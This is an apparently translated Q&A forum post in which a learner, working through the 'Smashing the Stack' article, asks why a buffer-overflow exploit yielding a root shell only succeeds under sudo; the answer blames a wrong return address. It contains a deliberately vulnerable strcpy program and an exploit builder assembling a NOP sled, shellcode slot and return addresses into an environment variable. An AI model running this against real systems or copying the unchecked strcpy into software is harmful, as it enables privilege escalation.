C缓冲区中的指令仅作为sudo执行[关闭]答案

【问题标题】：Instructions in C buffer being executed only as sudo [closed]C缓冲区中的指令仅作为sudo执行[关闭]
【发布时间】：2012-11-04 18:14:50
【问题描述】：

我正在研究 Aleph One 的文章 Smashing the Stack for Fun and Profit 中所述的缓冲区溢出攻击。

按照文章中的建议，我编写了一个程序 (shellcode.c)，将恶意代码 (shellcode) 植入环境变量 ($EGG)。之后 $EGG 作为参数传递给我希望攻击的程序 (vulnerable.c)，导致该程序中的缓冲区溢出并导致 shellcode 的执行。

这就是缓冲区的样子 -

[NNNNNNNNN...NNNNNNSSSSSSSS...SSSSSSSRRRRR...RRRRRR]

其中 N 是 NOP 指令（参见NOP sled），S 是我的 shellcode，R 是地址（将地址返回到缓冲区中，这将导致指令指针从代码段跳转到上面的堆栈缓冲区并开始执行说明）。

当我以普通用户的身份运行shellcode.c和explorer.c的可执行文件时，我面临以下问题-当指令指针被重定向到缓冲区并遇到一条指令时，一个分段故障结果。 但是，在以 sudo 执行程序时，缓冲区中的指令执行没有任何问题，并且缓冲区中的后续 shellcode 成功执行，从而启动了一个 root 终端，从而完成了漏洞利用。 谁能解释为什么会发生这种情况？

我已禁用以下保护 - Stack Smashing Protection、ASLR 和 Linux 的 NX（执行禁用位）。

我正在使用 gcc 4.4.3（目标：i486-linux-gnu）编译并在运行内核 2.6.32 的 Ubuntu 10.04（Lucid Lynx）上执行。

以下是我的两个程序：

vulnerable.c

int main(int argc, char** argv) {
char buffer[512];

if(argc>1)
    strcpy(buffer,argv[1]);

return (EXIT_SUCCESS);
}

shellcode.c

int main(int argc,char** argv) {

char *buff, *ptr;
int *addr,retaddr;
int i;
int offset = DEFAULT_OFFSET;
int buffersize = DEFAULT_SIZE;

/* Set buffersize and predicted offset if arguments are supplied to the program
 */ 
if(argc>1)
    buffersize = atoi(argv[1]);
if(argc>2)
    offset = atoi(argv[2]);


if(!(buff=(char*)malloc(buffersize))) {
    printf("Can't allocate memory!");
    exit(1);
}

retaddr = getStackPointer() - offset;
printf("%d\n",strlen(shellcode));
printf("Using address: 0x%x\n",retaddr);

addr = (int *)buff;
for(i=0;i<buffersize;i+=4)
    *(addr++) = retaddr;

for(i=0;i<buffersize/2;i++)
    buff[i] = NOP;

ptr = buff + ((buffersize/2) - (strlen(shellcode)/2));
for(i=0;i<strlen(shellcode);i++)
    *(ptr++) = shellcode[i];

buff[buffersize -1] = '\0';

memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");

 return (EXIT_SUCCESS);
}

【问题讨论】：

标签： c stack-overflow sudo shellcode stack-smash

【解决方案1】：

我遇到分段错误不是因为我不是 root 用户，而是因为我硬编码到缓冲区中的返回地址 (RRRR...RRR) 超出了执行程序的堆栈地址空间。我通过估计正确的退货地址来解决这个问题（如 Aleph One 的文章中所述，通过点击和试用）。

【讨论】：